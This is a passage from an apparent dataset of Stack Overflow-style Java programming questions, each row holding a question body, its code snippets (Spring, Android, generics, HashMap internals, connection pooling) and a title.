objectTimeline.put ( `` entrydate '' , timeline.getEntryDate ( ) ) ; objectTimeline.put ( `` lat '' , timeline.getLat ( ) ) ; objectTimeline.put ( `` lng '' , timeline.getLng ( ) ) ; arrayTimeline.put ( objectTimeline ) ; } catch ( JSONException e ) { e.printStackTrace ( ) ; } } onUpdateLocation ( arrayTimeline.toString ( ) ) ; } } ) ;",How to cast LifecycleOwner on Service class ? +Java,"Possible Duplicate : Java += operator In Java , this is not valid ( does n't compile ) , as expected : But this is perfectly fine ( ? ! ) This is obviously a narrowing operation , that can possibly exceed the int range . So why does n't the compiler complain ?",long lng = 0xffffffffffffL ; int i ; i = 5 + lng ; // '' error : possible loss of magnitude '' long lng = 0xffffffffffffL ; int i = 5 ; i += lng ; //compiles just fine,Why does the Java increment operator allow narrowing operations without explicit cast ? +Java,"So it 's winter break for colleges , and I 'm trying to stay sharp on my coding , so I 'm just writing code for programs and algorithms we only talked about but never coded in class . Anyway , one I 'm working on today is a program where you give the computer a scrambled word , and it outputs all the words ( from the EnglishWordList file we are given ) that can be made from those letters.Anyway , here is the code I have so far for it : Now , the error originates at the line where I start putting all of the prime products of numbers into my HashMap ( trying to map each prime product to a LinkedList of words whose letters multiply into that number . ) Somehow this is throwing the exception , as when I comment out that section of code and just run the findProduct method , it works fine on any word I give it to output the product of the lettesr in prime form.Any ideas on where the exception is coming from ? EDIT : Sorry , the stacktrace is as follows : From what I can tell , the error originates when I try to call findProd on the str , at this line :","import java.io . * ; import java.util . * ; public class ProdFinder { private HashMap < Character , Integer > prodFinder = new HashMap < Character , Integer > ( ) ; private HashMap < Integer , LinkedList < String > > findWord = new HashMap < Integer , LinkedList < String > > ( ) ; private static final char [ ] letters = { ' a ' , ' b ' , ' c ' , 'd ' , ' e ' , ' f ' , ' g ' , ' h ' , ' i ' , ' j ' , ' k ' , ' l ' , 'm ' , ' n ' , ' o ' , ' p ' , ' q ' , ' r ' , 's ' , 't ' , ' u ' , ' v ' , ' w ' , ' x ' , ' y ' , ' z ' } ; private static final int [ ] primes = { 2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101 } ; public ProdFinder ( ) throws FileNotFoundException { for ( int i = 0 ; i < letters.length ; i++ ) { prodFinder.put ( letters [ i ] , primes [ i ] ) ; } Scanner sc = new Scanner ( new File ( `` EnglishWordList.txt '' ) ) ; while ( sc.hasNextLine ( ) ) { String str = sc.nextLine ( ) ; int strProd = findProduct ( str ) ; if ( findWord.containsKey ( strProd ) ) { LinkedList < String > wordList = findWord.get ( strProd ) ; wordList.add ( str ) ; findWord.put ( strProd , wordList ) ; } else { LinkedList < String > wordList = new LinkedList < String > ( ) ; wordList.add ( str ) ; findWord.put ( strProd , wordList ) ; } } sc.close ( ) ; } public int findProduct ( String x ) { int product = 1 ; char [ ] str = x.toCharArray ( ) ; for ( Character val : str ) { product = product*prodFinder.get ( val ) ; } return product ; } public void descramble ( String x ) { int prod = findProduct ( x ) ; if ( findWord.containsKey ( prod ) ) { System.out.println ( `` The words that can be formed from the letters in `` + x + `` are : `` + findWord.get ( prod ) ) ; } else { System.out.println ( `` No words can be formed from the letters in `` + x + `` . `` ) ; } } } Exception in thread `` main '' java.lang.NullPointerExceptionat ProdFinder.findProduct ( ProdFinder.java:44 ) at ProdFinder. < init > ( ProdFinder.java:22 ) at Descramble.main ( Descramble.java:7 ) int strProd = findProduct ( str ) ;",Why am I throwing a NullPointerException +Java,"I 'm writing a method in Java : I 'd like to write a second method with exactly the same logic , but a different return type : I 'm trying to figure out a non-hackish way to minimize the amount of repeated code between the two methods . The only logical difference between the two is that , when adding an object to the list that 's returned , the first method adds the acutal Foo : and the second adds a String representation of the Foo : In reality , it 's not quite that simple . I do n't want to add a Foo to toReturn unless I 'm absolutely sure it belongs there . As a result , that decision is made per-foo using helper functions . With two different versions of the methods , I 'd need different versions of the helper functions as well - in the end , I 'd be writing two sets of nigh-identical methods , but for one little generic type.Can I write a single method which contains all of the decision-making logic , but can generate either a List < Foo > or a List < String > ? Is it possible to do this without using raw List types ( bad practice in generics land ! ) or wildcard List < ? > types ? I imagine an implementation that looks something like this : Is there any nice , elegant way to do this ? I 've been playing around with generic methods , but I ca n't see a way to do this . Even mucking about with reflection has n't gotten me anywhere ( maybe I need something like TypeToken ? ... eww ) .","List < Foo > computeFooList ( /* arguments */ ) { /* snip */ } List < String > computeStringList ( /* same arguments */ ) { /* snip */ } List < Foo > computeFooList ( /* arguments */ ) { List < Foo > toReturn = ... ... for ( Foo foo : /* some other list of Foo */ ) { if ( /* some condition */ ) { toReturn.add ( foo ) ; } } ... return toReturn ; } List < String > computeStringList ( /* same arguments */ ) { List < String > toReturn = ... ... for ( Foo foo : /* some other list of Foo */ ) { if ( /* some condition */ ) { toReturn.add ( foo.toString ( ) ) ; } } ... } List < Foo > computeFooList ( /* args */ ) { return computeEitherList ( /* args */ , Foo.class ) ; } List < String > computeStringList ( /* args */ ) { return computeEitherList ( /* args */ , String.class ) ; } private List < ? ? ? > computeEitherList ( /* args */ , Class < ? > whichType ) { /* snip */ }",DRY : Minimizing repeated code in Java +Java,"Please consider we have code below : And its result is : Instead of : Could someone clarify why we have such functionality in Java ? It is very strange for me.Do you have any example where this can be useful ? UPDATE : Here is piece of bytecode , where we can see , whats going on there",Object obj = true ? new Integer ( 0 ) : new Long ( 1 ) ; System.out.println ( obj.getClass ( ) + `` \nvalue = `` + obj ) ; class java.lang.Longvalue = 0 class java.lang.Integervalue = 0 NEW java/lang/IntegerDUPLDC `` 0 '' INVOKESPECIAL java/lang/Integer. < init > ( Ljava/lang/String ; ) VINVOKEVIRTUAL java/lang/Integer.intValue ( ) II2LINVOKESTATIC java/lang/Long.valueOf ( J ) Ljava/lang/Long ; ASTORE 1,Code Object o = true ? new Integer ( 0 ) : new Long ( 1 ) returns Long with value 0 . Why ? +Java,"The Spring framework support tcp connection as well , i wrote code below to setup a simple socket server , i am confused about adding below futures to my socket server : authorizing clients based on a unique identifier ( for example a client secret received from client , maybe using TCP Connection Events ) send a message directly to specific client ( based on identifier ) broadcast a messageUPDATE : Config.sendMessage added to send message to single clientConfig.broadCast added to broadcast messageauthorizeIncomingConnection to authorize clients , accept or reject connectionstcpConnections static filed added to keep tcpEvent sourcesQuestions ! is using tcpConnections HashMap good idea ? ! is the authorization method i implemented a good one ? ! Main.javaConfig.javaMainController.javaUsage : Socket Request/Response Modenotify single clienthttp : //localhost:8080/notify/ { connectionId } / { message } broadCasthttp : //localhost:8080/broadCast/ { message }","@ SpringBootApplicationpublic class Main { public static void main ( final String [ ] args ) { SpringApplication.run ( Main.class , args ) ; } } @ EnableIntegration @ IntegrationComponentScan @ Configurationpublic class Config implements ApplicationListener < TcpConnectionEvent > { private static final Logger LOGGER = Logger.getLogger ( Config.class.getName ( ) ) ; @ Bean public AbstractServerConnectionFactory AbstractServerConnectionFactory ( ) { return new TcpNetServerConnectionFactory ( 8181 ) ; } @ Bean public TcpInboundGateway TcpInboundGateway ( AbstractServerConnectionFactory connectionFactory ) { TcpInboundGateway inGate = new TcpInboundGateway ( ) ; inGate.setConnectionFactory ( connectionFactory ) ; inGate.setRequestChannel ( getMessageChannel ( ) ) ; return inGate ; } @ Bean public MessageChannel getMessageChannel ( ) { return new DirectChannel ( ) ; } @ MessageEndpoint public class Echo { @ Transformer ( inputChannel = `` getMessageChannel '' ) public String convert ( byte [ ] bytes ) throws Exception { return new String ( bytes ) ; } } private static ConcurrentHashMap < String , TcpConnection > tcpConnections = new ConcurrentHashMap < > ( ) ; @ Override public void onApplicationEvent ( TcpConnectionEvent tcpEvent ) { TcpConnection source = ( TcpConnection ) tcpEvent.getSource ( ) ; if ( tcpEvent instanceof TcpConnectionOpenEvent ) { LOGGER.info ( `` Socket Opened `` + source.getConnectionId ( ) ) ; tcpConnections.put ( tcpEvent.getConnectionId ( ) , source ) ; if ( ! authorizeIncomingConnection ( source.getSocketInfo ( ) ) ) { LOGGER.warn ( `` Socket Rejected `` + source.getConnectionId ( ) ) ; source.close ( ) ; } } else if ( tcpEvent instanceof TcpConnectionCloseEvent ) { LOGGER.info ( `` Socket Closed `` + source.getConnectionId ( ) ) ; tcpConnections.remove ( source.getConnectionId ( ) ) ; } } private boolean authorizeIncomingConnection ( SocketInfo socketInfo ) { //Authorization Logic , Like Ip , Mac Address WhiteList or anyThing else ! return ( System.currentTimeMillis ( ) / 1000 ) % 2 == 0 ; } public static String broadCast ( String message ) { Set < String > connectionIds = tcpConnections.keySet ( ) ; int successCounter = 0 ; int FailureCounter = 0 ; for ( String connectionId : connectionIds ) { try { sendMessage ( connectionId , message ) ; successCounter++ ; } catch ( Exception e ) { FailureCounter++ ; } } return `` BroadCast Result , Success : `` + successCounter + `` Failure : `` + FailureCounter ; } public static void sendMessage ( String connectionId , final String message ) throws Exception { tcpConnections.get ( connectionId ) .send ( new Message < String > ( ) { @ Override public String getPayload ( ) { return message ; } @ Override public MessageHeaders getHeaders ( ) { return null ; } } ) ; } } @ Controllerpublic class MainController { @ RequestMapping ( `` /notify/ { connectionId } / { message } '' ) @ ResponseBody public String home ( @ PathVariable String connectionId , @ PathVariable String message ) { try { Config.sendMessage ( connectionId , message ) ; return `` Client Notified ! `` ; } catch ( Exception e ) { return `` Failed To Notify Client , cause : \n `` + e.toString ( ) ; } } @ RequestMapping ( `` /broadCast/ { message } '' ) @ ResponseBody public String home ( @ PathVariable String message ) { return Config.broadCast ( message ) ; } }","spring tcp socket , authorizing clients and handle pending response" +Java,I want to capitilze every word in edit text while typing.My XML : -Now I am using But problem is it is not working in some device . Ex LG tablet . So I decided to do this programatically.So I am using following codes.Here my app getting crash . I found the problem while debugging . Problem is the onTextChanged is not getting stopped . So that it execute continuously . Anyone help me to resolve my problem . I want to capitalize every word . Please suggest any solutions .,"< com.project.edittext.AutoFitEditText android : id= '' @ +id/txt_name '' style= '' @ style/scan_text_fields_white_bg '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : digits= '' @ string/validation_accept_all_except_special_char '' android : fontFamily= '' sans-serif '' android : imeOptions= '' flagNoExtractUi|actionDone '' android : inputType= '' textNoSuggestions|textCapWords '' android : maxLength= '' 50 '' android : paddingBottom= '' 3dp '' android : paddingLeft= '' 12dp '' android : paddingRight= '' 0dp '' android : paddingTop= '' 0dp '' android : singleLine= '' true '' android : textColor= '' @ color/orange '' / > mName.setInputType ( InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_FLAG_CAP_WORDS ) ; public void onTextChanged ( CharSequence s , int start , int before , int count ) { // TODO Auto-generated method stub String mNameStr=s.toString ( ) ; String finalStr= '' '' ; if ( ! mNameStr.equals ( `` '' ) ) { String [ ] strArray = mNameStr.split ( `` [ \\s ' ] '' ) ; if ( strArray.length > 0 ) { for ( int i = 0 ; i < strArray.length ; i++ ) { finalStr+=capitalize ( strArray [ i ] ) ; } Logger.d ( `` finalStr== > `` , finalStr ) ; } } mName.setText ( finalStr.toString ( ) ) ; } private String capitalize ( final String line ) { return Character.toUpperCase ( line.charAt ( 0 ) ) + line.substring ( 1 ) ; }",Capitalize every word in Edit text while typing +Java,"I am pretty new to Spring Boot Application . I wanted to understand how does a spring Boot Application create beans without @ Configuration class . I had a look at a sample project where there was neither @ Bean definitions nor a component scan yet @ Autowired provided the dependency to the class . Please have a look at the snippet below : My limited knowledge of springs tells me that when there is a @ Service annotation over a class , there has to be a @ ComponentScan somewhere to create the bean . But without a component scan , how does the CertificationServiceImpl bean gets created and thereby how does the autowiring of CertificationService in RestController works here ?",@ RestControllerpublic class RestController { ** @ Autowiredpublic CertificationService certificationService ; ** ... . } //Interfacepublic interface CertificationService { public List < Certification > findAll ( ) ; } //Implementation Class @ Transactional @ Servicepublic class CertificationServiceImpl { public List < Certification > findAll ( ) { .. } },How does a Spring Boot Application create beans without @ Configuration class +Java,"I 'm trying to run this code : But it throws a ClassNotFoundException . Interestingly , if I instead use this line : it works just fine.Whats going on here ? edit : I 'm using Java 6 . The println prints this :",public class ClassLoaderTest { public static void main ( String [ ] args ) throws Exception { Object [ ] obj = new Object [ ] { } ; String cname = obj.getClass ( ) .getName ( ) ; System.out.println ( cname ) ; ClassLoaderTest.class.getClassLoader ( ) .loadClass ( cname ) ; } } Class.forName ( cname ) ; [ Ljava.lang.Object ;,Loading an array with a classloader +Java,I am trying to understand how HashMap is implemented in Java . I decided that I will try to understand every line ( of code and comments ) from that class and obviously I faced resistance very soon . The following snippet is from HashMap class and talks about Poisson Distribution : I am an average guy in Math and had to understand what Poisson distribution is first . Thanks to the simple video that explained it to me.Now even after understanding how you calculate probability using Poisson I ca n't understand what is described above.Can someone please explain this in simpler language and with an example if possible ? It will make my task much more interesting .,"Ideally , under random hashCodes , the frequency of nodes in bins follows a Poisson distribution ( http : //en.wikipedia.org/wiki/Poisson_distribution ) with a parameter of about 0.5 on average for the default resizing threshold of 0.75 , although with a large variance because of resizing granularity . Ignoring variance , the expected occurrences of list size k are ( exp ( -0.5 ) * pow ( 0.5 , k ) / factorial ( k ) ) . The first values are : 0 : 0.60653066 1 : 0.30326533 2 : 0.07581633 3 : 0.01263606 4 : 0.00157952 5 : 0.00015795 6 : 0.00001316 7 : 0.00000094 8 : 0.00000006 more : less than 1 in ten million",Ca n't understand Poisson part of Hash tables from Sun documentation +Java,"I have started converted my exiting Spring Boot ( 1.5.4.RELEASE ) application to work with multi-tenant features.it is a schema based multi-tenant solution and based on mysql.As hibernate document suggested below https : //docs.jboss.org/hibernate/orm/4.2/devguide/en-US/html/ch16.htmli have implemented both MultiTenantConnectionProvider and CurrentTenantIdentifierResolver interfaces and it works fine.and then below is my hibernate configurationhowever time to time system crashes with below errori Did some reading on this site and found exact same issue in below questions.Spring Boot : Apache derby pool empty . Unable to fetch a connection in 30 secondsTomcat Connection Pool ExhasutedOne of the fixes they suggested was to to add below configurationsBut still i am getting the same error and i debug the code and found that it closes the connection after each execution of the database call . Do you guys have any idea ? EditYesterday i found that the API does not close any connection at all . I wrote a simple utility to the check the connection status as below } The out of this shows continuous growth of active connections.However it perfectly fine in my local environment and it properly closes the connections . My Testing environment deployed in AWS t2 windows instance this API is deployed as a Spring Boot jar file with a MYSQL server installed with in the same t2 instance . The only difference i can see is the OPeration system version and may be some MYSQL server configurationsEditI was able to fix the issue by following the instructions by @ xerx593the issue was with supportsAggressiveRelease = true and i changed it false as suggested @ xerx593 . However im still wondering how come it works in my local environment and not in the testing environment . According to the hibernate doc it says `` Does this connection provider support aggressive release of JDBC connections and re-acquistion of those connections ( if need be ) later ? '' . Both the test and local environments have the same configurations and can it be a result of version of operation system or mysql cofiguration ? Thanks , Kelum","package com.ifi.aws.tenant.config.hibernate ; import org.hibernate.HibernateException ; import org.hibernate.engine.jdbc.connections.spi.MultiTenantConnectionProvider ; import org.springframework.beans.factory.annotation.Autowired ; import org.springframework.stereotype.Component ; import com.ifi.aws.tenant.entity.TenantContext ; import java.sql.Connection ; import java.sql.SQLException ; import javax.sql.DataSource ; @ Componentpublic class MultiTenantConnectionProviderImpl implements MultiTenantConnectionProvider { private static final long serialVersionUID = 6246085840652870138L ; @ Autowired private DataSource dataSource ; @ Overridepublic Connection getAnyConnection ( ) throws SQLException { return dataSource.getConnection ( ) ; } @ Overridepublic void releaseAnyConnection ( Connection connection ) throws SQLException { connection.close ( ) ; } @ Overridepublic Connection getConnection ( String tenantIdentifier ) throws SQLException { final Connection connection = getAnyConnection ( ) ; try { connection.createStatement ( ) .execute ( `` USE `` + tenantIdentifier ) ; } catch ( SQLException e ) { throw new HibernateException ( `` Could not alter JDBC connection to specified schema [ `` + tenantIdentifier + `` ] '' , e ) ; } return connection ; } @ Overridepublic void releaseConnection ( String tenantIdentifier , Connection connection ) throws SQLException { try { connection.createStatement ( ) .execute ( `` USE `` + TenantContext.DEFAULT_TENANT ) ; } catch ( SQLException e ) { throw new HibernateException ( `` Could not alter JDBC connection to specified schema [ `` + tenantIdentifier + `` ] '' , e ) ; } connection.close ( ) ; } @ SuppressWarnings ( `` rawtypes '' ) @ Overridepublic boolean isUnwrappableAs ( Class unwrapType ) { return false ; } @ Overridepublic < T > T unwrap ( Class < T > unwrapType ) { return null ; } @ Overridepublic boolean supportsAggressiveRelease ( ) { return true ; } } package com.ifi.aws.tenant.config.hibernate ; import org.hibernate.context.spi.CurrentTenantIdentifierResolver ; import org.springframework.context.annotation.Configuration ; import com.ifi.aws.tenant.entity.TenantContext ; @ Configurationpublic class TenantIdentifierResolver implements CurrentTenantIdentifierResolver { @ Override public String resolveCurrentTenantIdentifier ( ) { String tenantId = TenantContext.getTenantSchema ( ) ; //System.out.println ( `` -- -- -- -- -- -- -- -- -- resolveCurrentTenantIdentifier = `` + tenantId ) ; if ( tenantId ! = null ) { return tenantId ; } return TenantContext.DEFAULT_TENANT ; } @ Overridepublic boolean validateExistingCurrentSessions ( ) { return true ; } } package com.ifi.aws.tenant.config.hibernate ; import org.hibernate.MultiTenancyStrategy ; import org.hibernate.cfg.Environment ; import org.hibernate.context.spi.CurrentTenantIdentifierResolver ; import org.hibernate.engine.jdbc.connections.spi.MultiTenantConnectionProvider ; import org.springframework.beans.factory.annotation.Autowired ; import org.springframework.boot.autoconfigure.orm.jpa.JpaProperties ; import org.springframework.context.annotation.Bean ; import org.springframework.context.annotation.Configuration ; import org.springframework.orm.jpa.JpaVendorAdapter ; import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean ; import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter ; import java.util.HashMap ; import java.util.Map ; import javax.sql.DataSource ; @ Configurationpublic class HibernateConfig { @ Autowired private JpaProperties jpaProperties ; @ Bean public JpaVendorAdapter jpaVendorAdapter ( ) { return new HibernateJpaVendorAdapter ( ) ; } @ Bean public LocalContainerEntityManagerFactoryBean entityManagerFactory ( DataSource dataSource , MultiTenantConnectionProvider multiTenantConnectionProviderImpl , CurrentTenantIdentifierResolver currentTenantIdentifierResolverImpl ) { Map < String , Object > properties = new HashMap < > ( ) ; properties.putAll ( jpaProperties.getHibernateProperties ( dataSource ) ) ; properties.put ( Environment.MULTI_TENANT , MultiTenancyStrategy.SCHEMA ) ; properties.put ( Environment.MULTI_TENANT_CONNECTION_PROVIDER , multiTenantConnectionProviderImpl ) ; properties.put ( Environment.MULTI_TENANT_IDENTIFIER_RESOLVER , currentTenantIdentifierResolverImpl ) ; LocalContainerEntityManagerFactoryBean em = new LocalContainerEntityManagerFactoryBean ( ) ; em.setDataSource ( dataSource ) ; em.setPackagesToScan ( `` com.ifi.aws '' ) ; em.setJpaVendorAdapter ( jpaVendorAdapter ( ) ) ; em.setJpaPropertyMap ( properties ) ; return em ; } } Springboot Multi-tenant with MultiTenantConnectionProvider always throw org.apache.tomcat.jdbc.pool.PoolExhaustedException : [ http-nio-8086-exec-2 ] Timeout : Pool empty . Unable to fetch a connection in 30 seconds , none available [ size:100 ; busy:100 ; idle:0 ; lastwait:30000 ] . spring.datasource.tomcat.max-active=100spring.datasource.tomcat.max-idle=8spring.datasource.tomcat.min-idle=8 @ Autowiredprivate DataSource ds ; @ Before ( `` execution ( * com.ifi.aws.*.dao.impl.springData.*.* ( .. ) ) '' ) public void logBeforeConnection ( JoinPoint jp ) throws Throwable { logDataSourceInfos ( `` Before '' , jp ) ; } @ After ( `` execution ( * com.ifi.aws.*.dao.impl.springData.*.* ( .. ) ) `` ) public void logAfterConnection ( JoinPoint jp ) throws Throwable { logDataSourceInfos ( `` After '' , jp ) ; } public void logDataSourceInfos ( final String time , final JoinPoint jp ) { final String method = String.format ( `` % s : % s '' , jp.getTarget ( ) .getClass ( ) .getName ( ) , jp.getSignature ( ) .getName ( ) ) ; logger.debug ( `` -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- '' ) ; logger.debug ( String.format ( `` % s % s : number of connections in use by the application ( active ) : % d . `` , time , method , ds.getNumActive ( ) ) ) ; logger.debug ( String.format ( `` % s % s : the number of established but idle connections : % d . `` , time , method , ds.getNumIdle ( ) ) ) ; logger.debug ( String.format ( `` % s % s : number of threads waiting for a connection : % d . `` , time , method , ds.getWaitCount ( ) ) ) ; } Before com.sun.proxy. $ Proxy127 : findOne : number of connections in use by the application ( active ) : 21.Before com.sun.proxy. $ Proxy127 : findOne : the number of established but idle connections : 0.Before com.sun.proxy. $ Proxy127 : findOne : number of threads waiting for a connection : 0 -- -- -- -- -- -- -- -- -After com.sun.proxy. $ Proxy127 : findOne : number of connections in use by the application ( active ) : 21.After com.sun.proxy. $ Proxy127 : findOne : the number of established but idle connections : 0.After com.sun.proxy. $ Proxy127 : findOne : number of threads waiting for a connection : 0.o.h.e.t.i.TransactionImpl : committing -- -- -- -- -- -- -- -- -- -Before com.sun.proxy. $ Proxy127 : findOne : number of connections in use by the application ( active ) : 21.Before com.sun.proxy. $ Proxy127 : findOne : the number of established but idle connections : 0.Before com.sun.proxy. $ Proxy127 : findOne : number of threads waiting for a connection : 0 -- -- -- -- -- -- -- -- -After com.sun.proxy. $ Proxy127 : findOne : number of connections in use by the application ( active ) : 22.After com.sun.proxy. $ Proxy127 : findOne : the number of established but idle connections : 0.After com.sun.proxy. $ Proxy127 : findOne : number of threads waiting for a connection : 0.o.h.e.t.i.TransactionImpl : committing -- -- -- -- -- -- -- -- -- -",Springboot Multi-tenant with MultiTenantConnectionProvider always throw org.apache.tomcat.jdbc.pool.PoolExhaustedException : +Java,In a Fragment should you call getActivity ( ) each time you need a reference to the activity or create a global variable 'mActivity ' and use this.Basically you already have an Activity object ( getActivity ( ) ) and it feels like creating a global ( mActivity ) is code duplication and creating an extra reference that is unneeded.But also using getActivity ( ) everywhere looks horrid and feels wrong doing multiple method call 's each time ( performance ? ) .This would also be relevant for getApplication ( ) or getView ( ) ; I 've read through Coding for Performance but ca n't see anything relevant . I 'd like some feedback on the OO nature and also performance ( though probably negligible ) .,// Pseudo Android public class MyFragent extends Fragment { private Activity mActivity ; // Global public void onActivityCreated ( Bundle b ) { mActivity = getActivity ( ) ; } public void onClick ( View v ) { randomMethodTakingActivity ( mActivity ) ; // or randomMethodTakingActivity ( getActivity ( ) ) ; } private void someMethod ( ) { randomMethodTakingActivity ( mActivity ) ; // or randomMethodTakingActivity ( getActivity ( ) ) ; } private void anotherMethod ( ) { mActivity.someCallback ( ) ; // or getActivity ( ) .someCallback ( ) ; } },Android & OOP - Global Variables vs Inherited Getters in Fragments +Java,"I make a android application with a button where in there a total of 4 texts and I want to align the first 2 . One at the most left side of the bottom text and the other and the right side of the bottom text.So from this : setText ( item.title + `` `` + item.roomId + `` \n '' + item.teacher + `` `` + item.classes ) ; To this : setText ( declare here a spannable ) ; I think I should work with Spannable , I 've tried some things with Alignment.ALIGN_NORMAL and Alignment.ALIGN_OPPOSITE but I think is should first calculate the length of the bottom text and then do the alignment . ( I 've found a good example here but it 's not working in my set-up ) .I hope that someone can point me to a good direction.Edit : The reason that I can not ( I think ) use RelativeLayout or LinearLayout is that I 'm extending button in a different class ( ScheduleItemView.java ) : I 've tried to do this in protected void onLayout ( ScheduleItemsLayout.java ) : But that 's not working . I 'm not sure if I should use new RelativeLayout ( this ) .Is it better to use Spannable in this case ? The source of the project can be downloaded here ( which you can import in Eclipse )","/** * Custom view that represents a { @ link ScheduleItem } instance , including its * title and time span that it occupies . Usually organized automatically by * { @ link ScheduleItemsLayout } to match up against a { @ link TimeRulerView } * instance . */public class ScheduleItemView extends Button { private ScheduleItem mItem ; public ScheduleItemView ( Context context , ScheduleItem item ) { super ( context ) ; mItem = item ; setSingleLine ( false ) ; setText ( item.title + `` `` + item.roomId + `` \n '' + item.teacher + `` `` + item.classes ) ; // TODO : turn into color state list with layers ? int textColor = Color.WHITE ; int accentColor = item.accentColor ; LayerDrawable buttonDrawable = ( LayerDrawable ) context.getResources ( ) .getDrawable ( R.drawable.btn_block ) ; buttonDrawable.getDrawable ( 0 ) .setColorFilter ( accentColor , PorterDuff.Mode.SRC_ATOP ) ; buttonDrawable.getDrawable ( 1 ) .setAlpha ( item.containsStarred ? 255 : 0 ) ; setTextColor ( textColor ) ; setTextSize ( TypedValue.COMPLEX_UNIT_PX , getResources ( ) .getDimensionPixelSize ( R.dimen.text_size_small ) ) ; setGravity ( Gravity.CENTER | Gravity.BOTTOM ) ; setBackgroundDrawable ( buttonDrawable ) ; } public ScheduleItem getScheduleItem ( ) { return mItem ; } @ Override public void onDraw ( Canvas canvas ) { super.onDraw ( canvas ) ; measure ( MeasureSpec.makeMeasureSpec ( getMeasuredWidth ( ) , MeasureSpec.EXACTLY ) , MeasureSpec.makeMeasureSpec ( getMeasuredHeight ( ) , MeasureSpec.EXACTLY ) ) ; // layout ( getLeft ( ) , getTop ( ) , getRight ( ) , getBottom ( ) ) ; setGravity ( Gravity.CENTER ) ; } @ Override protected void onMeasure ( int widthMeasureSpec , int heightMeasureSpec ) { setMeasuredDimension ( getRight ( ) - getLeft ( ) , getBottom ( ) - getTop ( ) ) ; } } child.setLayoutParams ( new LayoutParams ( LayoutParams.FILL_PARENT , LayoutParams.WRAP_CONTENT ) ) ;","Align 2 texts , 1 normal , 1 opposite" +Java,"There is an option in java web applications to handle exceptions by defining error-page in web.xml : I am wondering if there could potentially be a problem with defining a JSP error page ( as opposed to an HTML error page ) .Because JSPs run at server side . Can there be a scenario where the server is `` half-dead '' , throws an exception , tries to redirect to the error page , but ca n't render it because of being `` half-dead '' ? By `` half-dead '' I mean that the server is in a state where some things still work , but other things do n't work . Specifically I mean that whatever controls the redirecting to the error-page defined in web.xml still works , but the actual rendering of the JSP does n't work for some reason ( something throws an exception ) .I did n't actually see a problem like this , but I wonder if it 's possible . Because then potentially an HTML error page would work ( because it has no server side logic ) , while the JSP error page would n't work.And if this is the case , then how can I `` fall back '' to the HTML error page when the JSP error page fails ? I still want to use the JSP error page for displaying the error details that came back on the response , but if it 's not possible then I want to show the HTML page.I hope that makes sense ... .",< error-page > < error-code > 500 < /error-code > < location > /error500.jsp < /location > < /error-page >,Can a JSP error-page cause problems ? +Java,"I want to make my webapp license protected . When any page/resource of webapp is requested , I want to first check for the license . If license is not found then I want to redirect to license upload page.I have created a filter which maps to all the requests where I can check for license and redirect if necessary.The problem is that my webapp has security constraint of login authentication.see web.xml at the end for more information.Because of the security constraint , all the requests are first intercepted by login authentication and then forwarded to my filter . However , I want to check for license before the login can happen.Here is a related question I asked . Java : Intercept all requests before they go to login authenticationPrioritizing filter over the security constraint seems to be impossible . So , I want to ask is there any other way I can approach this use case ? web.xml",< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < web-app xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns= '' http : //java.sun.com/xml/ns/javaee '' xmlns : web= '' http : //java.sun.com/xml/ns/javaee/web-app_2_5.xsd '' xsi : schemaLocation= '' http : //java.sun.com/xml/ns/javaee http : //java.sun.com/xml/ns/javaee/web-app_2_5.xsd '' id= '' WebApp_ID '' version= '' 2.5 '' > < display-name > Tango < /display-name > < filter > < filter-name > SalsaValidationFilter < /filter-name > < filter-class > net.semandex.salsa.validationFilters.SalsaValidationFilter < /filter-class > < /filter > < filter-mapping > < filter-name > SalsaValidationFilter < /filter-name > < url-pattern > /* < /url-pattern > < ! -- < servlet-name > SalsaValidationServlet < /servlet-name > -- > < dispatcher > REQUEST < /dispatcher > < /filter-mapping > < session-config > < session-timeout > 20 < /session-timeout > < /session-config > < security-constraint > < web-resource-collection > < web-resource-name > Login page images < /web-resource-name > < url-pattern > /images/salsadb-logo2.png < /url-pattern > < url-pattern > /images/salsa-icon.png < /url-pattern > < url-pattern > /images/shadow_box.png < /url-pattern > < url-pattern > /images/header.png < /url-pattern > < url-pattern > /images/bg.png < /url-pattern > < url-pattern > /css/splash.css < /url-pattern > < url-pattern > /WEB-INF/licenseValidation.html < /url-pattern > < url-pattern > /auth/licenseValidation.html < /url-pattern > < /web-resource-collection > < /security-constraint > < security-constraint > < web-resource-collection > < web-resource-name > The entire webapp < /web-resource-name > < url-pattern > /* < /url-pattern > < /web-resource-collection > < auth-constraint > < role-name > SalsaUser < /role-name > < /auth-constraint > < /security-constraint > < security-role > < role-name > SalsaUser < /role-name > < /security-role > < login-config > < auth-method > FORM < /auth-method > < form-login-config > < form-login-page > /auth/login.jsp < /form-login-page > < form-error-page > /auth/loginError.jsp < /form-error-page > < /form-login-config > < realm-name > mongo_login < /realm-name > < /login-config > < /web-app >,Java : Licensing a webapp . Check for license before login happens +Java,"I had this interview question some years ago but I have n't found the answer yet.What should be x and y to make a infinite loop ? We tried with Nan , infinity+/- , nullfloat vs int .",while ( x < = y & & x > = y & & x ! = y ) { },How to make loop infinite with `` x < = y & & x > = y & & x ! = y '' ? +Java,Is there a more convenient way to initialize an array of objects than doing this ?,SomeClass [ ] someArray = new SomeClass [ 100 ] ; // ... for ( int i = 0 ; i < someArray.length ; i++ ) { someArray [ i ] = new SomeClass ( ) ; } // ...,Most convenient way to initialize an array of objects +Java,"I have a treemap which is sorted by a compareTo in the Account class.When I initate the treemap , it is sorted but when I try use this function ( to add money to a specific account ) , it works only if the values I change are not the first or last in the treemap.Here is the code . What am I doing wrong ?","public static void deposit ( TreeMap < Account , MyLinkedList < Customer > > map ) { boolean flag = false ; int num ; int amount ; System.out.println ( `` please enter account number '' ) ; num = s.nextInt ( ) ; //for ( Iterator < Account > i = map . ; i.hasNext ( ) ) for ( Map.Entry < Account , MyLinkedList < Customer > > entry : map.entrySet ( ) ) { if ( entry.getKey ( ) .getAccNumber ( ) == num ) { flag = true ; System.out.println ( `` Please enter amount '' ) ; amount = s.nextInt ( ) ; entry.getKey ( ) .setAccBalance ( entry.getKey ( ) 